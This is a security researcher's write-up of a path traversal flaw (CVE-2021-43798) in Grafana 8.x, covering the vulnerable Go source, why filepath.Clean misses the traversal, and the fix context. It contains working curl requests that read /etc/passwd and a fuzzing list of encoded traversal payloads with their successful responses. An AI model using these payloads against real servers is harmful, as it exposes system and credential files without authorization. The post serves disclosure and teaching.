CVE-2021-43798 - Path traversal vulnerability in Grafana

Wed, Dec 8, 2021 7-minute read

In december 2021 I reported a so-called path traversal vulnerability in Grafana. With the vulnerability it is possible for an unauthenticated user to read files on the host. The CVE for the vulnerability is CVE-2021-43798, which has a CVSSv3 score of 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N).

I reported the vulnerability to Grafana on December 2nd and the team took action right away. As this was the first high vulnerability I discovered, I couldn’t control my excitement and posted a Tweet about the fact that I had found a path traversal vulnerability in Grafana. After a few days I received notifications that other security researchers also found the vulnerability in Grafana’s code base and they published a proof-of-concept on GitHub and Twitter. With all good intentions I had placed the Grafana team in a bit of a stressful situation, so the fix got released on December 7th, a couple of days earlier than was planned. Lessons learned; never underestimate the power of social media and I have to control my excitement. Another learned lesson is the way Golang’s path.Clean method works and that you always have to read the documentation.

In this article I’d like to explain a bit more about the vulnerability and my path to detection.

Source code audit

During a source code audit of the open source Grafana project, I was searching for typical ways in Golang to read files. One of the functions you can use in Golang is os.Open. A call to os.Open from the getPluginAssets method in the pkg/api/plugins.go file got my attention.

A snippet of the code:

// getPluginAssets returns public plugin assets (images, JS, etc.)
//
// /public/plugins/:pluginId/*
func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
	pluginID := web.Params(c.Req)[":pluginId"]
	plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
	if !exists {
		c.JsonApiErr(404, "Plugin not found", nil)
		return
	}

	requestedFile := filepath.Clean(web.Params(c.Req)["*"])
	pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)

	if !plugin.IncludedInSignature(requestedFile) {
		hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
			"is not included in the plugin signature", "file", requestedFile)
	}

	// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
	// use this with a prefix of the plugin's directory, which is set during plugin loading
	// nolint:gosec
	f, err := os.Open(pluginFilePath)
	if err != nil {
		if os.IsNotExist(err) {
			c.JsonApiErr(404, "Plugin file not found", err)
			return
		}
		c.JsonApiErr(500, "Could not open plugin file", err)
		return
	}

As you can see the file from the pluginFilePath variable is opened, the content of the file ends up in the HTTP response of the /public/plugins/<pluginID>/<path> call. The pluginFilePath variable is created as follows:

requestedFile := filepath.Clean(web.Params(c.Req)["*"])
pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)

It gets the path from the URL segment, passes it to filepath.Clean and joins it with the plugin directory config.

I created a quick Golang script to try something out:

func main() {
    pluginDir := "/usr/share/grafana/public/app/plugins/datasource/mysql/"

    pathValue := "..///..///..///..///..///..///..///..///etc/passwd"
    requestedFile := filepath.Clean(pathValue)
    pluginFilePath := filepath.Join(pluginDir, requestedFile)

    fmt.Println(pluginFilePath)
}

The output of the script is:

/etc/passwd

Which means this is the file path passed to os.Open.

After changing pathValue to /..///..///..///..///..///..///..///..///etc/passwd it turns out the path is correctly cleaned.

As part of Golang’s documentation:

func Clean(path string) string

Clean returns the shortest path name equivalent to path by purely lexical processing. It applies the following rules iteratively until no further processing can be done:

1. Replace multiple Separator elements with a single one.
2. Eliminate each . path name element (the current directory).
3. Eliminate each inner .. path name element (the parent directory)
   along with the non-.. element that precedes it.
4. Eliminate .. elements that begin a rooted path:
   that is, replace "/.." by "/" at the beginning of a path,
   assuming Separator is '/'.

So if the path doesn’t start with a forwarded slash, it won’t be cleaned.

The pluginId in the URL is dynamic, but Grafana ships with quite some default plugins so any valid plugin ID here should work.

Testing the traversal in Grafana

So after I tested the Golang Clean and Join functions I had to find a way to exploit this in Grafana. I started a Docker container with Grafana’s latest Docker image, which was 8.2.6 at that moment, and opened up my terminal. I searched in the Docker image for a file which ships with Grafana but shouldn’t be public, I found the VERSION file located in /usr/share/grafana.

I started with the following curl command:

$ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../VERSION

In the output logs of the Grafana I noticed the following error:

open /usr/share/grafana/public/app/plugins/VERSION: no such file or directory

According to the log line it already traversed two levels, but to access the VERSION file I had to add three levels more.

$ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../VERSION
8.2.6

Confirmed; 5 levels of path traversals got me in the /usr/share/grafana folder, which means another three levels gets me in the filesystem root.

$ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../../../../etc/passwd
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
...

Fuzzing

A lot of proxies or WAFs will normalize or block a typical ../ path traversal so I tried many different alternatives. I used the traversals-8-deep-exotic-encoding.txt wordlist in the swisskyrepo/PayloadsAllTheThings GitHub repository and replaced {FILE} with VERSION for every line.

$ ffuf -u http://localhost:3000/public/plugins/mysqlFUZZ -w ~/Downloads/traversals_version -mc 200
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/..%2f..%2f..%2f..%2f..%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/..%2f..%2f..%2f..%2f..%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/..%2f..%2f..%2f..%2f..%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fVERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/........................................................................../../../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/..//..//..//..//..//VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/..///..///..///..///..///VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/./.././.././.././.././../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/.//..//.//..//.//..//.//..//.//..//VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/../..//../..//../VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
/../..//../..//..///VERSION [Status: 200, Size: 5, Words: 1, Lines: 1]
:: Progress: [887/887] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00] :: Errors: 112 ::

So it looks like there are a lot of possible ways to get a working traversal here.

What about other Grafana versions?

After I digged into the Git history of the pkg/api/plugins.go file, I found out that the code which caused this vulnerability wasn’t always part of the code base. It was introduced in April 2021 as part of some refactoring. The first version of Grafana which contained the new code was v8.0.0-beta1 so only Grafana v8.*.* is vulnerable.

I downloaded the source for Grafana v7 because I was curious about how these static files were served in previous versions. The following code registers the static routes in earlier versions:

for _, route := range plugins.StaticRoutes {
	pluginRoute := path.Join("/public/plugins/", route.PluginId)
	hs.log.Debug("Plugins: Adding route", "route", pluginRoute, "dir", route.Directory)
	hs.mapStatic(m, route.Directory, "", pluginRoute)
}

hs.mapStatic(m, setting.StaticRootPath, "build", "public/build")
hs.mapStatic(m, setting.StaticRootPath, "", "public")
hs.mapStatic(m, setting.StaticRootPath, "robots.txt", "robots.txt")

The mapStatic method adds a Static middleware and at the end of the chain it uses the staticHandler function.

func staticHandler(ctx *macaron.Context, log *log.Logger, opt StaticOptions) bool {
	if ctx.Req.Method != "GET" && ctx.Req.Method != "HEAD" {
		return false
	}

	file := ctx.Req.URL.Path
	// if we have a prefix, filter requests by stripping the prefix
	if opt.Prefix != "" {
		if !strings.HasPrefix(file, opt.Prefix) {
			return false
		}
		file = file[len(opt.Prefix):]
		if file != "" && file[0] != '/' {
			return false
		}
	}

	f, err := opt.FileSystem.Open(file)
	// ...

So it turns out that the file passed to opt.FileSystem.Open also is retrieved directly from the URL, but with this code Grafana isn’t vulnerable for the path traversal. After some digging it turns out that FileSystem.Open uses Golang’s Open function from a http.Dir object instead of using the os library. The Open method in http.Dir looks as following:

func (d Dir) Open(name string) (File, error) {
	if filepath.Separator != '/' && strings.ContainsRune(name, filepath.Separator) {
		return nil, errors.New("http: invalid character in file path")
	}
	dir := string(d)
	if dir == "" {
		dir = "."
	}
	fullName := filepath.Join(dir, filepath.FromSlash(path.Clean("/"+name)))
	f, err := os.Open(fullName)
	if err != nil {
		return nil, mapDirOpenError(err, fullName)
	}
	return f, nil
}

The interesting part here is:

fullName := filepath.Join(dir, filepath.FromSlash(path.Clean("/"+name)))

So in Go’s internal library, they staticly add a forward slash to the value passed to path.Clean. As I tested earlier, this will correctly strip out path traversals from the file path.

References